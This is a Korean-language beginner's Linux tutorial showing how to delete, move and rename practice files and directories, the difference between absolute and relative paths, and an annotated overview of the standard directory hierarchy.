# rm -f 5.txt/1.txt  <-- 5.txt 디렉토리의 1.txt 파일을 강제(-f 옵션)로 삭제한다.

# rm -f 5.txt/2.txt  <-- 5.txt 디렉토리의 2.txt 파일을 강제(-f 옵션)로 삭제한다.

# rm -f 5.txt/3.txt  <-- 5.txt 디렉토리의 3.txt 파일을 강제(-f 옵션)로 삭제한다.

# rm -fv 5.txt/4.txt <-- 5.txt 디렉토리의 4.txt 파일을 강제(-f 옵션)로 삭제하면서

# 화면에 삭제된 것을 출력(-v 옵션)한다.

removed `5.txt/4.txt'


- mv 를 이용해서 파일의 이름을 변경하고 파일을 이동해보자.

- 조건은 아래 두 가지가 존재한다.

- 1. 파일명을 그대로 옮길 것인가 ? 

- 2. 파일명을 이름을 변경하고 옮길 것인가 ?

# ls

1.txt  2.txt  3.txt  4.txt  5.txt

# mv 5.txt 6.txt

# ls -F

1.txt  2.txt  3.txt*  4.txt  6.txt/


# mv 1.txt 6.txt

# ls

2.txt  3.txt  4.txt  6.txt

# ls 6.txt/

1.txt

# mv 2.txt 6.txt/22.txt

# ls 6.txt/

1.txt  22.txt

# mv 3.txt 6.txt/33.txt

# ls 6.txt/

1.txt  22.txt  33.txt


- 현재 디렉토리에 33.txt 파일을 3.txt 로 변경한다.

- 아래 1~3의 명령어들은 모두 동일한 결과를 가져온다.

- 1. mv 6.txt/33.txt ./3.txt 

- 2. mv 6.txt/33.txt /root/Test/3.txt

- 3. mv 6.txt/33.txt  3.txt  

# mv 6.txt/33.txt  3.txt  

# ls

1.txt  22.txt  3.txt  4.txt  6.txt

               ~~~~~

# ls 6.txt/  <-- 파일이 다 옮겨졌으므로 아무 것도 출력이 안되다.



- 파일 삭제

# rm 1.txt 

rm: remove regular file `1.txt'? y

# rm -f 22.txt 

# rm -fv 3.txt 

removed `3.txt'

# rm -f 4.txt 

# ls

6.txt

- rmdir 은 디렉토리를 삭제하는 명령어지만 디렉토리에 파일이 하나라도

존재하면 삭제가 안된다. 그러므로 잘 사용하지 않고 rm -rf 를 많이 사용한다.

# touch 6.txt/a.txt

# rmdir 6.txt/

rmdir: 6.txt/: Directory not empty

# rm -rf 6.txt/


- mv 로 파일(디렉토리)의 이름을 변경한다.

# cd ..

# ls

1.txt  7.7  anaconda-ks.cfg  install.log2  install.log.syslog  Test

# mv Test TEST

# ls

1.txt  7.7  anaconda-ks.cfg  install.log2  install.log.syslog  TEST



리눅스(유닉스)에서 파일을 표시하는 방법 



o 디렉토리를 표시하는 쉘에서의 특수문자

 현재 디렉토리 : .   (점 하나)

 상위 디렉토리 : ..  (점 두개)


o 파일이나 디렉토리의 경로 표현 방법 

 - 파일이나 디렉토리를 표현하는 방법에는 절대 경로와 상대 경로가 있다.

 절대경로 : 파일이나 디렉토리를 표현할 때 최상위 디렉토리인 / 부터 시작한다.

 상대경로 : 파일이나 디렉토리를 표현할 때 자신이 위치한 현재 디렉토리부터 시작한다.


o 최상위 디렉토리란 ?

- 리눅스에서 제일 꼭대기 디렉토리를 의미하며 최상위 디렉토리는 / 이다.



o 일반 유저에서 절대 경로와 상대 경로로  디렉토리를 생성하고 삭제하는 예

 $ cd

 $ pwd

 /home/ksw


 - 상대 경로를 이용해서 현재 디렉토리에 ABC 디렉토리를 생성한다.

 $ mkdir ABC

 $ ls

 ABC


 - 절대 경로를 이용해서 현재 디렉토리의 ABC 디렉토리를 삭제한다.

 $ rmdir /home/ksw/ABC



o 일반 유저에서 절대 경로와 상대 경로를 이용해서  파일을 생성하고 삭제하는 예

 $ cd

 $ pwd

 /home/ksw

 $ touch a.txt


 - 절대 경로를 이용해서 a.txt 파일을 확인한다.

 $ ls -l /home/ksw/a.txt  

 -rw-rw-r-- 1 ksw ksw 0 Sep  2 10:24 /home/ksw/a.txt


 - 상대 경로를 이용해서 a.txt 파일을 확인한다.

 $ ls -l ./a.txt    

 -rw-rw-r-- 1 ksw ksw 0 Sep  2 10:24 ./a.txt

 $ ls -l a.txt      

 -rw-rw-r-- 1 ksw ksw 0 Sep  2 10:24 a.txt


o 관리자에서 절대 경로와 상대 경로를 이용해서  파일을 생성하고 삭제하는 예

 - 아래 예제들을 실행시키기 위해서 홈디렉토리(/root)로 이동한다.  

 # cd   


 - 절대 경로를 이용해서 디렉토리를 생성/확인/삭제 한다.

 # mkdir /tmp/ABC     

 # ls -ld /tmp/ABC

 # rmdir /tmp/ABC     


 - 상대 경로를 이용해서 디렉토리를 생성/확인/삭제 한다.

 # mkdir ../tmp/ABC2  

 # ls -ld ../tmp/ABC2

 # rmdir ../tmp/ABC2  


 - 절대/상대 경로를 이용해서 파일의 정보를 출력하는 예

 # ls -l /etc/passwd    <-- 절대 경로를 이용해서 /etc/passwd 파일의 정보를 출력한다.

 # ls -l ../etc/passwd  <-- 상대 경로를 이용해서 /etc/passwd 파일의 정보를 출력한다.


 - 절대/상대 경로를 이용해서 파일의 내용을 출력하는 예

 # head /etc/passwd         <-- 절대 경로를 이용해서 출력한다.

 # head  ../../etc/passwd   <-- 상대 경로를 이용해서 출력한다.


 - 절대/상대 경로를 이용해서 파일을 실행하는 예

 # cp /bin/arch .        <-- 절대 경로를 이용해서 /bin/arch 파일을 

                             상대 경로인 현재 디렉토리에 복사한다.

 # cp /bin/arch /root    <-- 절대 경로를 이용해서 /bin/arch 파일을 

                             절대 경로인 현재 디렉토리에 복사한다.

 # ./arch                <-- 상대 경로를 이용해서 arch 파일을 실행한다.

 # /root/arch            <-- 절대 경로를 이용해서 arch 파일을 실행한다.


 - 절대/상대 경로를 이용해서 디렉토리를 이동하는 예

 # cd /tmp         <-- 절대 경로를 이용해서 /tmp 디렉토리로 이동한다.

 # cd ../tmp       <-- 상대 경로를 이용해서 /tmp 디렉토리로 이동한다.

 # cd ../usr       <-- 상대 경로를 이용해서 /usr 디렉토리로 이동한다.

 # cd /usr         <-- 절대 경로를 이용해서 /usr 디렉토리로 이동한다.

 # cd bin          <-- 상대 경로를 이용해서 /usr/bin 디렉토리로 이동한다.

                       cd ./bin 과 동일하다.


 - 절대 경로로 /usr/bin/passwd 파일을 현재 디렉토리에 상대 경로로 복사한다.

 # cp /usr/bin/passwd .        <-- 원본 파일명 그대로 복사한다.

 # cp /usr/bin/passwd passwd2  <-- 원본 파일명을 passwd2로 변경해서 복사한다.


 - cat 명령어를 이용해서 /etc/passwd 파일을 보는데 상대 경로로 출력한다.

 $ cat ../../etc/passwd


 아래 명령어가 가능한가 ???

 - 실제로 이렇게 쓰는 일은 없지만 이런 방법도 존재한다는 것을 알아둘 것!

 # cd 

 # cat /tmp/../usr/bin/../../etc/passwd

 # cat /etc/././././././passwd

 ======================================================================


디렉토리 구조 

/                 최상의 루트디렉토리

|-- bin          기본적인 실행 명령어가 있는 디렉토리 (일반유저가 실행할 수 있는 명령어가 들어있다.)

|-- boot        부팅에 관련된 파일을 저장하고 있는 디렉토리  

|-- dev         장치(device) 파일을 저장하고 있는 디렉토리

|-- etc          환경설정 파일을 저장하고 있는 디렉토리

| rc.d/init.d    시스템의 서비스가 실행되고 중지되는 스크립트가 있는 디렉토리

|-- home       사용자의 홈디렉토리가 모여있는 디렉토리

|-- lib           프로그램(C, C++등)에 필요한 각종 라이브러리가 있는 디렉토리

|-- lost+found  부팅시 파일시스템에 문제가 생길 경우 fsck명령어로 복구할 때 사용되는 디렉토리, 파티션 마다 하나씩 존재

|-- media      USB 마운트를 위한 디렉토리  

|-- misc        시스템 아키텍처에 독립적인 자료들이 저장되는 디렉토리 

|-- mnt         플로피, CD-ROM등 마운트를 위한 디렉토리

|-- net

|-- opt         애드온 소프트웨어를 설치할 수 있는 디렉토리

|-- proc        실행중인 프로세스나 현재 시스템의 정보를 보여주는 가상 디렉토리

|-- root        관리자의 홈디렉토리

|-- sbin        시스템관리자용 명령어 (일반유저 실행X)

|-- selinux

|-- srv         서비스 디렉토리로 ftp,http,cvs 등의 데이터 존재

|-- sys         시스템이 필요로하는 파일들이 있는 디렉토리

|-- tmp         임시 저장을 위한 디렉토리

|-- usr -- bin  <-- 명령어 (일반유저 실행 O)

|        -- sbin <-- 명령어 (일반유저 실행 X)

|        -- local

|               -- bin

|               -- sbin

|        -- X11R6/bin

`-- var         log파일등 수시로 업데이트 되는 파일들이 있는 디렉토리

        -- log  각종 log파일이 저장되는 디렉토리


+ Recent posts